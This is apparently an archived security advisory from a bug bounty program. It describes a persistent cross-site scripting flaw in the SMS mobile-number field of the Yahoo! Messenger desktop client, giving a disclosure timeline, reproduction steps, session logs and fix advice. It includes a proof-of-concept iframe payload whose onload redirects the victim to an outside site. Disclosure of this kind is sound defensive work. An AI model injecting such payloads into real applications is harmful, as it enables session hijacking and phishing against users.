what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Yahoo! Messenger Cross Site Scripting

Yahoo! Messenger Cross Site Scripting
Posted Jul 11, 2014
Authored by Ateeq ur Rehman Khan, Vulnerability Laboratory | Site vulnerability-lab.com

Yahoo! Messenger version suffered from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 7e8e628207f2117ebd6547af3d631e69042df4f345a5051befbc9558c8f5786d

Yahoo! Messenger Cross Site Scripting

Change Mirror Download
Document Title:
Yahoo! Bug Bounty #29 YM - Filter Bypass & Persistent Web Vulnerability

References (Source):

Video: http://www.vulnerability-lab.com/get_content.php?id=1279

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely known
for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail, Yahoo!
News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports and its
social media website. It is one of the most popular sites in the United States. According to news sources, roughly 700
million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a billion consumers
every month in more than 30 languages.

(Copy of the Vendor Homepage: http://www.yahoo.com )

Abstract Advisory Information:
The Vulnerability-Laboratory Research Team has discovered multiple vulnerabilities in the official Yahoo! Messenger software v11.5.0.228 application.

Vulnerability Disclosure Timeline:
2013-07-31: Researcher Notification & Coordination (Ateeq ur Rehman Khan - Core Research Team)
2013-08-01: Vendor Notification (Yahoo! Security Team - Bug Bounty Program)
2013-09-01: Vendor Response/Feedback (Yahoo! Security Team - Bug Bounty Program)
2014-06-01: Vendor Fix/Patch (Yahoo! Developer Team - Reward: HackerOne Program)
2014-07-07: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: Yahoo! Messenger Desktop (US) (US)

Exploitation Technique:

Severity Level:

Technical Details & Description:
An input filter bypass & persistent web vulnerability has been discovered in the official Yahoo! Messenger ( Desktop Application.
The persistent remote web vulnerability affects the software exception handling module of the phone `SMS` feature in the application.

It was initially discovered that while sending an `SMS`, the Yahoo IM application validates all entered numbers through a
remote host: validate.msg.yahoo.com. If the number is invalid/malicious the remote host responds with an `unknown number` exception
which is then handled by the IM application in a new msg window. While handling the exception, the injected code gets executed
successfully in the new msg window where the exception is processed as HTML.

Malicious requests can be injected in the `Enter Mobile Number` input field using a filter bypass technique while sending an SMS
through the Yahoo IM application. It seems that basic security controls are in place to restrict user from typing in Alphabets and
special characters when sending an SMS however a simple copy/paste of a specially crafted payload bypasses the restriction quite
easily and results in successful code execution of the injected scripts code.

The security risk of the filter bypass and persistent vulnerability is estimated as high with a cvss (common vulnerability scoring
system) count of 6.3.

This type of vulnerability can be exploited by a non privileged / unauthorized remote attackers and requires a normal application
user account (victim). The successful exploitation of the remote vulnerability results in session hijacking, persistent phishing,
persistent external redirect, persistent external malware loads and persistent manipulation of affected module context.

Request Method(s):
[+] POST

Vulnerable Service(s):
[+] Yahoo! Messenger - Desktop Application v11.5.0.228-us (software)

Vulnerable Parameter(s):
[+] Enter Mobile Number

Affected Module(s):
[+] Send An SMS > Mobile Number

Proof of Concept (PoC):
The persistent input validation web vulnerability can be exploited by remote attackers with low user interaction and low privileged
web application user account. For demonstration or to reproduce ...

Manual steps to reproduce the vulnerability ...
1. Login to your Yahoo IM application
2. Click on the Send an SMS icon
3. Inject the "Payload" in the "Enter Mobile Number" input field
4. A new IM window should popup and shortly your browser should be redirected to my website proving the existence of this vulnerability

PoC: Payload
'%3d'>"><iframe src='http://vulnerability-lab.com' onload=window.location=('http://evolution-sec.com')></iframe>/927

--- PoC Session Logs ---
HTTP Requests: POST /mobileno?intl=us&version= HTTP/1.1
Cookie: [HIDDEN]
path=/; domain=.yahoo.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5)
Host: validate.msg.yahoo.com
Content-Length: 153
Pragma: no-cache

<validate intl="us" version="" qos="0"><mobile_no msisdn="1334372637724887885637224548952226666562325378762437263927"></mobile_no>

HTTP/1.1 200 OK
Date: Wed, 06 Nov 2013 12:52:31 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi

Content-Length: 173
Cache-Control: private
Connection: close
Content-Type: text/html; charset=utf-8

<mobile_no msisdn="1334372637724887885637224548952226666562325378762437263927">

Demonstration Video(s):


Solution - Fix & Patch:
Proper security controls should be implemented/enforced in the IM application to validate input and restrict copy/paste of
malicious requests in all affected input fields. Also restricting the exceptions response type so they are not processed as
HTML by the IM application is recommended.

Security Risk:
The security risk of the persistent exception-handling web vulnerability is estimated as high(-).

Credits & Authors:
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2014 | Vulnerability Laboratory [Evolution Security]

DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By